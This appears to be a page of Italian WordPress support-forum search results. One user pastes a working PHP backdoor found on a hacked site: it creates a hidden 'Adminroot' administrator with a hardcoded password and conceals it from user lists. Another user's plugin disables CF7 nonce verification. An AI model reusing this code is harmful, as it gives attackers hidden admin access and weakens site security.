Risultati della ricerca per 'Wordpress admin query'

Stai vedendo 15 risultati - da 1 a 15 (di 33 totali)
    • alecimi02

      (@alecimi02)


      Quando provo ad accedere al mio sito web mi da il seguente errore:

      /** * WordPress environment setup class. * * @package WordPress * @since 2.0.0 */ #[AllowDynamicProperties] class WP { /** * Public query variables. * * Long list of public query variables. * * @since 2.0.0 * @var string[] */ public $public_query_vars = array( ‘m’, ‘p’, ‘posts’, ‘w’, ‘cat’, ‘withcomments’, ‘withoutcomments’, ‘s’, ‘search’, ‘exact’, ‘sentence’, ‘calendar’, ‘page’, ‘paged’, ‘more’, ‘tb’, ‘pb’, ‘author’, ‘order’, ‘orderby’, ‘year’, ‘monthnum’, ‘day’, ‘hour’, ‘minute’, ‘second’, ‘name’, ‘category_name’, ‘tag’, ‘feed’, ‘author_name’, ‘pagename’, ‘page_id’, ‘error’, ‘attachment’, ‘attachment_id’, ‘subpost’, ‘subpost_id’, ‘preview’, ‘robots’, ‘favicon’, ‘taxonomy’, ‘term’, ‘cpage’, ‘post_type’, ‘embed’ ); /** * Private query variables. * * Long list of private query variables. * * @since 2.0.0 * @var string[] */ public $private_query_vars = array( ‘offset’, ‘posts_per_page’, ‘posts_per_archive_page’, ‘showposts’, ‘nopaging’, ‘post_type’, ‘post_status’, ‘category__in’, ‘category__not_in’, ‘category__and’, ‘tag__in’, ‘tag__not_in’, ‘tag__and’, ‘tag_slug__in’, ‘tag_slug__and’, ‘tag_id’, ‘post_mime_type’, ‘perm’, ‘comments_per_page’, ‘post__in’, ‘post__not_in’, ‘post_parent’, ‘post_parent__in’, ‘post_parent__not_in’, ‘title’, ‘fields’ ); /** * Extra query variables set by the user. * * @since 2.1.0 * @var array */ public $extra_query_vars = array(); /** * Query variables for setting up the WordPress Query Loop. * * @since 2.0.0 * @var array */ public $query_vars = array(); /** * String parsed to set the query variables. * * @since 2.0.0 * @var string */ public $query_string = ”; /** * The request path, e.g. 2015/05/06. * * @since 2.0.0 * @var string */ public $request = ”; /** * Rewrite rule the request matched. * * @since 2.0.0 * @var string */ public $matched_rule = ”; /** * Rewrite query the request matched. * * @since 2.0.0 * @var string */ public $matched_query = ”; /** * Whether already did the permalink. * * @since 2.0.0 * @var bool */ public $did_permalink = false; /** * Adds a query variable to the list of public query variables. * * @since 2.1.0 * * @param string $qv Query variable name. */ public function add_query_var( $qv ) { if ( ! in_array( $qv, $this->public_query_vars, true ) ) { $this->public_query_vars[] = $qv; } } /** * Removes a query variable from a list of public query variables. * * @since 4.5.0 * * @param string $name Query variable name. */ public function remove_query_var( $name ) { $this->public_query_vars = array_diff( $this->public_query_vars, array( $name ) ); } /** * Sets the value of a query variable. * * @since 2.3.0 * * @param string $key Query variable name. * @param mixed $value Query variable value. */ public function set_query_var( $key, $value ) { $this->query_vars[ $key ] = $value; } /** * Parses the request to find the correct WordPress query. * * Sets up the query variables based on the request. There are also many * filters and actions that can be used to further manipulate the result. * * @since 2.0.0 * @since 6.0.0 A return value was added. * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param array|string $extra_query_vars Set the extra query variables. * @return bool Whether the request was parsed. */ public function parse_request( $extra_query_vars = ” ) { global $wp_rewrite; /** * Filters whether to parse the request. * * @since 3.5.0 * * @param bool $bool Whether or not to parse the request. Default true. * @param WP $wp Current WordPress environment instance. * @param array|string $extra_query_vars Extra passed query variables. */ if ( ! apply_filters( ‘do_parse_request’, true, $this, $extra_query_vars ) ) { return false; } $this->query_vars = array(); $post_type_query_vars = array(); if ( is_array( $extra_query_vars ) ) { $this->extra_query_vars = & $extra_query_vars; } elseif ( ! empty( $extra_query_vars ) ) { parse_str( $extra_query_vars, $this->extra_query_vars ); } // Process PATH_INFO, REQUEST_URI, and 404 for permalinks. // Fetch the rewrite rules. $rewrite = $wp_rewrite->wp_rewrite_rules(); if ( ! empty( $rewrite ) ) { // If we match a rewrite rule, this will be cleared. $error = ‘404’; $this->did_permalink = true; $pathinfo = isset( $_SERVER[‘PATH_INFO’] ) ? $_SERVER[‘PATH_INFO’] : ”; list( $pathinfo ) = explode( ‘?’, $pathinfo ); $pathinfo = str_replace( ‘%’, ‘%25’, $pathinfo ); list( $req_uri ) = explode( ‘?’, $_SERVER[‘REQUEST_URI’] ); $self = $_SERVER[‘PHP_SELF’]; $home_path = parse_url( home_url(), PHP_URL_PATH ); $home_path_regex = ”; if ( is_string( $home_path ) && ” !== $home_path ) { $home_path = trim( $home_path, ‘/’ ); $home_path_regex = sprintf( ‘|^%s|i’, preg_quote( $home_path, ‘|’ ) ); } /* * Trim path info from the end and the leading home path from the front. * For path info requests, this leaves us with the requesting filename, if any. * For 404 requests, this leaves us with the requested permalink. */ $req_uri = str_replace( $pathinfo, ”, $req_uri ); $req_uri = trim( $req_uri, ‘/’ ); $pathinfo = trim( $pathinfo, ‘/’ ); $self = trim( $self, ‘/’ ); if ( ! empty( $home_path_regex ) ) { $req_uri = preg_replace( $home_path_regex, ”, $req_uri ); $req_uri = trim( $req_uri, ‘/’ ); $pathinfo = preg_replace( $home_path_regex, ”, $pathinfo ); $pathinfo = trim( $pathinfo, ‘/’ ); $self = preg_replace( $home_path_regex, ”, $self ); $self = trim( $self, ‘/’ ); } // The requested permalink is in $pathinfo for path info requests and $req_uri for other requests. if ( ! empty( $pathinfo ) && ! preg_match( ‘|^.*’ . $wp_rewrite->index . ‘$|’, $pathinfo ) ) { $requested_path = $pathinfo; } else { // If the request uri is the index, blank it out so that we don’t try to match it against a rule. if ( $req_uri === $wp_rewrite->index ) { $req_uri = ”; } $requested_path = $req_uri; } $requested_file = $req_uri; $this->request = $requested_path; // Look for matches. $request_match = $requested_path; if ( empty( $request_match ) ) { // An empty request could only match against ^$ regex. if ( isset( $rewrite[‘$’] ) ) { $this->matched_rule = ‘$’; $query = $rewrite[‘$’]; $matches = array( ” ); } } else { foreach ( (array) $rewrite as $match => $query ) { // If the requested file is the anchor of the match, prepend it to the path info. if ( ! empty( $requested_file ) && str_starts_with( $match, $requested_file ) && $requested_file !== $requested_path ) { $request_match = $requested_file . ‘/’ . $requested_path; } if ( preg_match( “#^$match#”, $request_match, $matches ) || preg_match( “#^$match#”, urldecode( $request_match ), $matches ) ) { if ( $wp_rewrite->use_verbose_page_rules && preg_match( ‘/pagename=\$matches\[([0-9]+)\]/’, $query, $varmatch ) ) { // This is a verbose page match, let’s check to be sure about it. $page = get_page_by_path( $matches[ $varmatch[1] ] ); if ( ! $page ) { continue; } $post_status_obj = get_post_status_object( $page->post_status ); if ( ! $post_status_obj->public && ! $post_status_obj->protected && ! $post_status_obj->private && $post_status_obj->exclude_from_search ) { continue; } } // Got a match. $this->matched_rule = $match; break; } } } if ( ! empty( $this->matched_rule ) ) { // Trim the query of everything up to the ‘?’. $query = preg_replace( ‘!^.+\?!’, ”, $query ); // Substitute the substring matches into the query. $query = addslashes( WP_MatchesMapRegex::apply( $query, $matches ) ); $this->matched_query = $query; // Parse the query. parse_str( $query, $perma_query_vars ); // If we’re processing a 404 request, clear the error var since we found something. if ( ‘404’ === $error ) { unset( $error, $_GET[‘error’] ); } } // If req_uri is empty or if it is a request for ourself, unset error. if ( empty( $requested_path ) || $requested_file === $self || str_contains( $_SERVER[‘PHP_SELF’], ‘wp-admin/’ ) ) { unset( $error, $_GET[‘error’] ); if ( isset( $perma_query_vars ) && str_contains( $_SERVER[‘PHP_SELF’], ‘wp-admin/’ ) ) { unset( $perma_query_vars ); } $this->did_permalink = false; } } /** * Filters the query variables allowed before processing. * * Allows (publicly allowed) query vars to be added, removed, or changed prior * to executing the query. Needed to allow custom rewrite rules using your own arguments * to work, or any other custom query variables you want to be publicly available. * * @since 1.5.0 * * @param string[] $public_query_vars The array of allowed query variable names. */ $this->public_query_vars = apply_filters( ‘query_vars’, $this->public_query_vars ); foreach ( get_post_types( array(), ‘objects’ ) as $post_type => $t ) { if ( is_post_type_viewable( $t ) && $t->query_var ) { $post_type_query_vars[ $t->query_var ] = $post_type; } } foreach ( $this->public_query_vars as $wpvar ) { if ( isset( $this->extra_query_vars[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = $this->extra_query_vars[ $wpvar ]; } elseif ( isset( $_GET[ $wpvar ] ) && isset( $_POST[ $wpvar ] ) && $_GET[ $wpvar ] !== $_POST[ $wpvar ] ) { wp_die( __( ‘A variable mismatch has been detected.’ ), __( ‘Sorry, you are not allowed to view this item.’ ), 400 ); } elseif ( isset( $_POST[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = $_POST[ $wpvar ]; } elseif ( isset( $_GET[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = $_GET[ $wpvar ]; } elseif ( isset( $perma_query_vars[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = $perma_query_vars[ $wpvar ]; } if ( ! empty( $this->query_vars[ $wpvar ] ) ) { if ( ! is_array( $this->query_vars[ $wpvar ] ) ) { $this->query_vars[ $wpvar ] = (string) $this->query_vars[ $wpvar ]; } else { foreach ( $this->query_vars[ $wpvar ] as $vkey => $v ) { if ( is_scalar( $v ) ) { $this->query_vars[ $wpvar ][ $vkey ] = (string) $v; } } } if ( isset( $post_type_query_vars[ $wpvar ] ) ) { $this->query_vars[‘post_type’] = $post_type_query_vars[ $wpvar ]; $this->query_vars[‘name’] = $this->query_vars[ $wpvar ]; } } } // Convert urldecoded spaces back into ‘+’. foreach ( get_taxonomies( array(), ‘objects’ ) as $taxonomy => $t ) { if ( $t->query_var && isset( $this->query_vars[ $t->query_var ] ) ) { $this->query_vars[ $t->query_var ] = str_replace( ‘ ‘, ‘+’, $this->query_vars[ $t->query_var ] ); } } // Don’t allow non-publicly queryable taxonomies to be queried from the front end. if ( ! is_admin() ) { foreach ( get_taxonomies( array( ‘publicly_queryable’ => false ), ‘objects’ ) as $taxonomy => $t ) { /* * Disallow when set to the ‘taxonomy’ query var. * Non-publicly queryable taxonomies cannot register custom query vars. See register_taxonomy(). */ if ( isset( $this->query_vars[‘taxonomy’] ) && $taxonomy === $this->query_vars[‘taxonomy’] ) { unset( $this->query_vars[‘taxonomy’], $this->query_vars[‘term’] ); } } } // Limit publicly queried post_types to those that are ‘publicly_queryable’. if ( isset( $this->query_vars[‘post_type’] ) ) { $queryable_post_types = get_post_types( array( ‘publicly_queryable’ => true ) ); if ( ! is_array( $this->query_vars[‘post_type’] ) ) { if ( ! in_array( $this->query_vars[‘post_type’], $queryable_post_types, true ) ) { unset( $this->query_vars[‘post_type’] ); } } else { $this->query_vars[‘post_type’] = array_intersect( $this->query_vars[‘post_type’], $queryable_post_types ); } } // Resolve conflicts between posts with numeric slugs and date archive queries. $this->query_vars = wp_resolve_numeric_slug_conflicts( $this->query_vars ); foreach ( (array) $this->private_query_vars as $var ) { if ( isset( $this->extra_query_vars[ $var ] ) ) { $this->query_vars[ $var ] = $this->extra_query_vars[ $var ]; } } if ( isset( $error ) ) { $this->query_vars[‘error’] = $error; } /** * Filters the array of parsed query variables. * * @since 2.1.0 * * @param array $query_vars The array of requested query variables. */ $this->query_vars = apply_filters( ‘request’, $this->query_vars ); /** * Fires once all query variables for the current request have been parsed. * * @since 2.1.0 * * @param WP $wp Current WordPress environment instance (passed by reference). */ do_action_ref_array( ‘parse_request’, array( &$this ) ); return true; } /** * Sends additional HTTP headers for caching, content type, etc. * * Sets the Content-Type header. Sets the ‘error’ status (if passed) and optionally exits. * If showing a feed, it will also send Last-Modified, ETag, and 304 status if needed. * * @since 2.0.0 * @since 4.4.0 X-Pingback header is added conditionally for single posts that allow pings. * @since 6.1.0 Runs after posts have been queried. * * @global WP_Query $wp_query WordPress Query object. */ public function send_headers() { global $wp_query; $headers = array(); $status = null; $exit_required = false; $date_format = ‘D, d M Y H:i:s’; if ( is_user_logged_in() ) { $headers = array_merge( $headers, wp_get_nocache_headers() ); } elseif ( ! empty( $_GET[‘unapproved’] ) && ! empty( $_GET[‘moderation-hash’] ) ) { // Unmoderated comments are only visible for 10 minutes via the moderation hash. $expires = 10 * MINUTE_IN_SECONDS; $headers[‘Expires’] = gmdate( $date_format, time() + $expires ); $headers[‘Cache-Control’] = sprintf( ‘max-age=%d, must-revalidate’, $expires ); } if ( ! empty( $this->query_vars[‘error’] ) ) { $status = (int) $this->query_vars[‘error’]; if ( 404 === $status ) { if ( ! is_user_logged_in() ) { $headers = array_merge( $headers, wp_get_nocache_headers() ); } $headers[‘Content-Type’] = get_option( ‘html_type’ ) . ‘; charset=’ . get_option( ‘blog_charset’ ); } elseif ( in_array( $status, array( 403, 500, 502, 503 ), true ) ) { $exit_required = true; } } elseif ( empty( $this->query_vars[‘feed’] ) ) { $headers[‘Content-Type’] = get_option( ‘html_type’ ) . ‘; charset=’ . get_option( ‘blog_charset’ ); } else { // Set the correct content type for feeds. $type = $this->query_vars[‘feed’]; if ( ‘feed’ === $this->query_vars[‘feed’] ) { $type = get_default_feed(); } $headers[‘Content-Type’] = feed_content_type( $type ) . ‘; charset=’ . get_option( ‘blog_charset’ ); // We’re showing a feed, so WP is indeed the only thing that last changed. if ( ! empty( $this->query_vars[‘withcomments’] ) || str_contains( $this->query_vars[‘feed’], ‘comments-‘ ) || ( empty( $this->query_vars[‘withoutcomments’] ) && ( ! empty( $this->query_vars[‘p’] ) || ! empty( $this->query_vars[‘name’] ) || ! empty( $this->query_vars[‘page_id’] ) || ! empty( $this->query_vars[‘pagename’] ) || ! empty( $this->query_vars[‘attachment’] ) || ! empty( $this->query_vars[‘attachment_id’] ) ) ) ) { $wp_last_modified_post = mysql2date( $date_format, get_lastpostmodified( ‘GMT’ ), false ); $wp_last_modified_comment = mysql2date( $date_format, get_lastcommentmodified( ‘GMT’ ), false ); if ( strtotime( $wp_last_modified_post ) > strtotime( $wp_last_modified_comment ) ) { $wp_last_modified = $wp_last_modified_post; } else { $wp_last_modified = $wp_last_modified_comment; } } else { $wp_last_modified = mysql2date( $date_format, get_lastpostmodified( ‘GMT’ ), false ); } if ( ! $wp_last_modified ) { $wp_last_modified = gmdate( $date_format ); } $wp_last_modified .= ‘ GMT’; $wp_etag = ‘”‘ . md5( $wp_last_modified ) . ‘”‘; $headers[‘Last-Modified’] = $wp_last_modified; $headers[‘ETag’] = $wp_etag; // Support for conditional GET. if ( isset( $_SERVER[‘HTTP_IF_NONE_MATCH’] ) ) { $client_etag = wp_unslash( $_SERVER[‘HTTP_IF_NONE_MATCH’] ); } else { $client_etag = ”; } if ( isset( $_SERVER[‘HTTP_IF_MODIFIED_SINCE’] ) ) { $client_last_modified = trim( $_SERVER[‘HTTP_IF_MODIFIED_SINCE’] ); } else { $client_last_modified = ”; } // If string is empty, return 0. If not, attempt to parse into a timestamp. $client_modified_timestamp = $client_last_modified ? strtotime( $client_last_modified ) : 0; // Make a timestamp for our most recent modification. $wp_modified_timestamp = strtotime( $wp_last_modified ); if ( ( $client_last_modified && $client_etag ) ? ( ( $client_modified_timestamp >= $wp_modified_timestamp ) && ( $client_etag === $wp_etag ) ) : ( ( $client_modified_timestamp >= $wp_modified_timestamp ) || ( $client_etag === $wp_etag ) ) ) { $status = 304; $exit_required = true; } } if ( is_singular() ) { $post = isset( $wp_query->post ) ? $wp_query->post : null; // Only set X-Pingback for single posts that allow pings. if ( $post && pings_open( $post ) ) { $headers[‘X-Pingback’] = get_bloginfo( ‘pingback_url’, ‘display’ ); } } /** * Filters the HTTP headers before they’re sent to the browser. * * @since 2.8.0 * * @param string[] $headers Associative array of headers to be sent. * @param WP $wp Current WordPress environment instance. */ $headers = apply_filters( ‘wp_headers’, $headers, $this ); if ( ! empty( $status ) ) { status_header( $status ); } // If Last-Modified is set to false, it should not be sent (no-cache situation). if ( isset( $headers[‘Last-Modified’] ) && false === $headers[‘Last-Modified’] ) { unset( $headers[‘Last-Modified’] ); if ( ! headers_sent() ) { header_remove( ‘Last-Modified’ ); } } if ( ! headers_sent() ) { foreach ( (array) $headers as $name => $field_value ) { header( “{$name}: {$field_value}” ); } } if ( $exit_required ) { exit; } /** * Fires once the requested HTTP headers for caching, content type, etc. have been sent. * * @since 2.1.0 * * @param WP $wp Current WordPress environment instance (passed by reference). */ do_action_ref_array( ‘send_headers’, array( &$this ) ); } /** * Sets the query string property based off of the query variable property. * * The {@see ‘query_string’} filter is deprecated, but still works. Plugins should * use the {@see ‘request’} filter instead. * * @since 2.0.0 */ public function build_query_string() { $this->query_string = ”; foreach ( (array) array_keys( $this->query_vars ) as $wpvar ) { if ( ” !== $this->query_vars[ $wpvar ] ) { $this->query_string .= ( strlen( $this->query_string ) < 1 ) ? ” : ‘&’; if ( ! is_scalar( $this->query_vars[ $wpvar ] ) ) { // Discard non-scalars. continue; } $this->query_string .= $wpvar . ‘=’ . rawurlencode( $this->query_vars[ $wpvar ] ); } } if ( has_filter( ‘query_string’ ) ) { // Don’t bother filtering and parsing if no plugins are hooked in. /** * Filters the query string before parsing. * * @since 1.5.0 * @deprecated 2.1.0 Use {@see ‘query_vars’} or {@see ‘request’} filters instead. * * @param string $query_string The query string to modify. */ $this->query_string = apply_filters_deprecated( ‘query_string’, array( $this->query_string ), ‘2.1.0’, ‘query_vars, request’ ); parse_str( $this->query_string, $this->query_vars ); } } /** * Set up the WordPress Globals. * * The query_vars property will be extracted to the GLOBALS. So care should * be taken when naming global variables that might interfere with the * WordPress environment. * * @since 2.0.0 * * @global WP_Query $wp_query WordPress Query object. * @global string $query_string Query string for the loop. * @global array $posts The found posts. * @global WP_Post|null $post The current post, if available. * @global string $request The SQL statement for the request. * @global int $more Only set, if single page or post. * @global int $single If single page or post. Only set, if single page or post. * @global WP_User $authordata Only set, if author archive. */ public function register_globals() { global $wp_query; // Extract updated query vars back into global namespace. foreach ( (array) $wp_query->query_vars as $key => $value ) { $GLOBALS[ $key ] = $value; } $GLOBALS[‘query_string’] = $this->query_string; $GLOBALS[‘posts’] = & $wp_query->posts; $GLOBALS[‘post’] = isset( $wp_query->post ) ? $wp_query->post : null; $GLOBALS[‘request’] = $wp_query->request; if ( $wp_query->is_single() || $wp_query->is_page() ) { $GLOBALS[‘more’] = 1; $GLOBALS[‘single’] = 1; } if ( $wp_query->is_author() ) { $GLOBALS[‘authordata’] = get_userdata( get_queried_object_id() ); } } /** * Set up the current user. * * @since 2.0.0 */ public function init() { wp_get_current_user(); } /** * Set up the Loop based on the query variables. * * @since 2.0.0 * * @global WP_Query $wp_the_query WordPress Query object. */ public function query_posts() { global $wp_the_query; $this->build_query_string(); $wp_the_query->query( $this->query_vars ); } /** * Set the Headers for 404, if nothing is found for requested URL. * * Issue a 404 if a request doesn’t match any posts and doesn’t match any object * (e.g. an existing-but-empty category, tag, author) and a 404 was not already issued, * and if the request was not a search or the homepage. * * Otherwise, issue a 200. * * This sets headers after posts have been queried. handle_404() really means “handle status”. * By inspecting the result of querying posts, seemingly successful requests can be switched to * a 404 so that canonical redirection logic can kick in. * * @since 2.0.0 * * @global WP_Query $wp_query WordPress Query object. */ public function handle_404() { global $wp_query; /** * Filters whether to short-circuit default header status handling. * * Returning a non-false value from the filter will short-circuit the handling * and return early. * * @since 4.5.0 * * @param bool $preempt Whether to short-circuit default header status handling. Default false. * @param WP_Query $wp_query WordPress Query object. */ if ( false !== apply_filters( ‘pre_handle_404’, false, $wp_query ) ) { return; } // If we’ve already issued a 404, bail. if ( is_404() ) { return; } $set_404 = true; // Never 404 for the admin, robots, or favicon. if ( is_admin() || is_robots() || is_favicon() ) { $set_404 = false; // If posts were found, check for paged content. } elseif ( $wp_query->posts ) { $content_found = true; if ( is_singular() ) { $post = isset( $wp_query->post ) ? $wp_query->post : null; $next = ”; // Check for paged content that exceeds the max number of pages. if ( $post && ! empty( $this->query_vars[‘page’] ) ) { // Check if content is actually intended to be paged. if ( str_contains( $post->post_content, $next ) ) { $page = trim( $this->query_vars[‘page’], ‘/’ ); $content_found = (int) $page <= ( substr_count( $post->post_content, $next ) + 1 ); } else { $content_found = false; } } } // The posts page does not support the pagination. if ( $wp_query->is_posts_page && ! empty( $this->query_vars[‘page’] ) ) { $content_found = false; } if ( $content_found ) { $set_404 = false; } // We will 404 for paged queries, as no posts were found. } elseif ( ! is_paged() ) { $author = get_query_var( ‘author’ ); // Don’t 404 for authors without posts as long as they matched an author on this site. if ( is_author() && is_numeric( $author ) && $author > 0 && is_user_member_of_blog( $author ) // Don’t 404 for these queries if they matched an object. || ( is_tag() || is_category() || is_tax() || is_post_type_archive() ) && get_queried_object() // Don’t 404 for these queries either. || is_home() || is_search() || is_feed() ) { $set_404 = false; } } if ( $set_404 ) { // Guess it’s time to 404. $wp_query->set_404(); status_header( 404 ); nocache_headers(); } else { status_header( 200 ); } } /** * Sets up all of the variables required by the WordPress environment. * * The action {@see ‘wp’} has one parameter that references the WP object. It * allows for accessing the properties and methods to further manipulate the * object. * * @since 2.0.0 * * @param string|array $query_args Passed to parse_request(). */ public function main( $query_args = ” ) { $this->init(); $parsed = $this->parse_request( $query_args ); if ( $parsed ) { $this->query_posts(); $this->handle_404(); $this->register_globals(); } $this->send_headers(); /** * Fires once the WordPress environment has been set up. * * @since 2.1.0 * * @param WP $wp Current WordPress environment instance (passed by reference). */ do_action_ref_array( ‘wp’, array( &$this ) ); } }

    • Buongiorno, il mio sito presenta negli header di tutte le finestre il seguente testo php. Penso di essere stato hackerato, come posso ripristinare la situazione iniziale? ho aggiornato wordpress e sostituito tutte le cartelle di base con cartelle pulite.

      min_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Adminroot', 'user_pass' => 'r007pd8skdgSejrd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }

    • Dopo l’aggiornamento del 24 WordPress 6.0.9. mi da il seguente errore, non so se è collegato:

      Fatal error: Uncaught TypeError: call_user_func_array(): Argument #1 ($callback) must be a valid callback, function “_wp_footnotes_kses_init” not found or invalid function name in /web/htdocs/www.iftechnology.it/home/wp-includes/class-wp-hook.php:307 Stack trace: #0 /web/htdocs/www.iftechnology.it/home/wp-includes/class-wp-hook.php(331): WP_Hook->apply_filters() #1 /web/htdocs/www.iftechnology.it/home/wp-includes/plugin.php(476): WP_Hook->do_action() #2 /web/htdocs/www.iftechnology.it/home/wp-includes/pluggable.php(48): do_action() #3 /web/htdocs/www.iftechnology.it/home/wp-includes/user.php(3573): wp_set_current_user() #4 /web/htdocs/www.iftechnology.it/home/wp-includes/pluggable.php(70): _wp_get_current_user() #5 /web/htdocs/www.iftechnology.it/home/wp-includes/l10n.php(97): wp_get_current_user() #6 /web/htdocs/www.iftechnology.it/home/wp-includes/l10n.php(140): get_user_locale() #7 /web/htdocs/www.iftechnology.it/home/wp-includes/l10n.php(885): determine_locale() #8 /web/htdocs/www.iftechnology.it/home/wp-content/plugins/advanced-cf7-db/freemius/includes/class-freemius.php(3633): load_plugin_textdomain() #9 /web/htdocs/www.iftechnology.it/home/wp-includes/class-wp-hook.php(307): Freemius::_load_textdomain() #10 /web/htdocs/www.iftechnology.it/home/wp-includes/class-wp-hook.php(331): WP_Hook->apply_filters() #11 /web/htdocs/www.iftechnology.it/home/wp-includes/plugin.php(476): WP_Hook->do_action() #12 /web/htdocs/www.iftechnology.it/home/wp-settings.php(461): do_action() #13 /web/htdocs/www.iftechnology.it/home/wp-config.php(90): require_once(‘…’) #14 /web/htdocs/www.iftechnology.it/home/wp-load.php(50): require_once(‘…’) #15 /web/htdocs/www.iftechnology.it/home/wp-admin/admin.php(34): require_once(‘…’) #16 /web/htdocs/www.iftechnology.it/home/wp-admin/index.php(10): require_once(‘…’) #17 {main} thrown in /web/htdocs/www.iftechnology.it/home/wp-includes/class-wp-hook.php on line 307

      Notice: La funzione is_embed è stata richiamata in maniera scorretta. I tag condizionali di una query non funzionano prima che la query sia stata eseguita. Prima dell’esecuzione restituiscono sempre il valore False. Leggi Debugging in WordPress per maggiori informazioni. (Questo messaggio è stato aggiunto nella versione 3.1.0.) in /web/htdocs/www.iftechnology.it/home/wp-includes/functions.php on line 5833

      Notice: La funzione is_search è stata richiamata in maniera scorretta. I tag condizionali di una query non funzionano prima che la query sia stata eseguita. Prima dell’esecuzione restituiscono sempre il valore False. Leggi Debugging in WordPress per maggiori informazioni. (Questo messaggio è stato aggiunto nella versione 3.1.0.) in /web/htdocs/www.iftechnology.it/home/wp-includes/functions.php on line 5833

      Grazie per l’aiuto.

    • enricotv

      (@enricotv)


      Ciao a tutti,

      dopo i due più recenti aggiornamenti di wordpress non mi funziona più un plugin che genera post di una determinata categoria derivante dalla compilazione di moduli di CF7.
      L’ho controllato e ricontrollato eppure niente da fare, con il debug di wordpress mi esce il seguente errore:

      Fatal error: Uncaught TypeError: call_user_func_array(): Argument #1 ($callback) must be a valid callback, function “add_author_support_to_posts” not found or invalid function name in /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-includes/class-wp-hook.php:324

      Stack trace: 0 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-includes/class-wp-hook.php(348): WP_Hook->apply_filters() 1 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-includes/plugin.php(517): WP_Hook->do_action() 2 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-settings.php(643): do_action() 3 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-config.php(82): require_once(‘…’) 4 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-load.php(50): require_once(‘…’) 5 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-blog-header.php(13): require_once(‘…’) 6 /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/index.php(17): require(‘…’) 7 {main} thrown in /var/www/virtual/mlnv.org/sportelodelsitadino/htdocs/wp-includes/class-wp-hook.php on line 324

      Questo di seguito alla fine è il codice php del plugin, so che è lunghetto ma se qualcuno gentilmente mi aiuta a trovar l’errore gliene sarei molto grato.
      Grazie infinite

      Enrico

      <?php
      
      if (!defined('ABSPATH')) {
          exit;
      }
      
      /**
       * Our main plugin class
       */
      class CF7_To_WP
      {
      
          /**
           * The single instance of cf7_to_wp.
           * @var     object
           */
          private static $_instance = null;
      
          /**
           * Settings class object
           * @var     object
           */
          public $settings = null;
      
          /**
           * The version number.
           * @var     string
           */
          public $_version;
      
          /**
           * The token.
           * @var     string
           */
          public $_token;
      
          /**
           * The main plugin file.
           * @var     string
           */
          public $file;
      
          /**
           * The main plugin directory.
           * @var     string
           */
          public $dir;
      
          /**
           * The plugin assets directory.
           * @var     string
           */
          public $assets_dir;
      
          /**
           * The plugin assets URL.
           * @var     string
           */
          public $assets_url;
      
          /**
           * Our post type slug.
           *
           * @var string
           */
          private $post_type = 'cf7_form_messages';
      
          /**
           * Constructor function.
           * @access  public
           */
          public function __construct($file = '', $version = '0.1')
          {
              $this->_version = $version;
              $this->_token = 'cf7_to_wp';
      
              // Load plugin environment variables
              $this->file = $file;
              $this->dir = dirname($this->file);
              $this->assets_dir = trailingslashit($this->dir) . 'assets';
              $this->assets_url = esc_url(trailingslashit(plugins_url('/assets/', $this->file)));
      
              // Handle localization
              $this->load_plugin_textdomain();
              add_action('init', array($this, 'load_localization'), 0);
          }
      
          /**
           * Initialize all the things!
           */
          public function init()
          {
              // Register Messages post type.
              add_action('init', array($this, 'register_form_msg_post_type'));
              add_filter('add_menu_classes', array($this, 'menu_msg_form_bubble'));
              add_filter('post_row_actions', array($this, 'action_row_for_msg_posts'), 10, 2);
              add_action('admin_init', [$this, 'maybe_mark_form_message_as_read']);
              add_filter('wpcf7_verify_nonce', '__return_true');
      
              // Hook into CF7 actions.
              add_filter('wpcf7_editor_panels', array($this, 'add_cf7_panel'));
              add_action('wpcf7_after_save', array($this, 'save_cf7_data'), 50, 1);
              add_action('wpcf7_mail_sent', array($this, 'create_post_on_form_submission'), 50, 1);
              add_action('wpcf7_mail_failed', array($this, 'create_post_on_form_submission'), 50, 1);
              add_action('init', 'add_author_support_to_posts');
              add_filter('wpcf7_verify_nonce', '__return_true');
          }
      
          /**
           * Load plugin localisation
           */
          public function load_localization()
          {
              load_plugin_textdomain('cf7_to_wp', false, dirname(plugin_basename($this->file)) . '/lang/');
          }
      
          /**
           * Load plugin textdomain
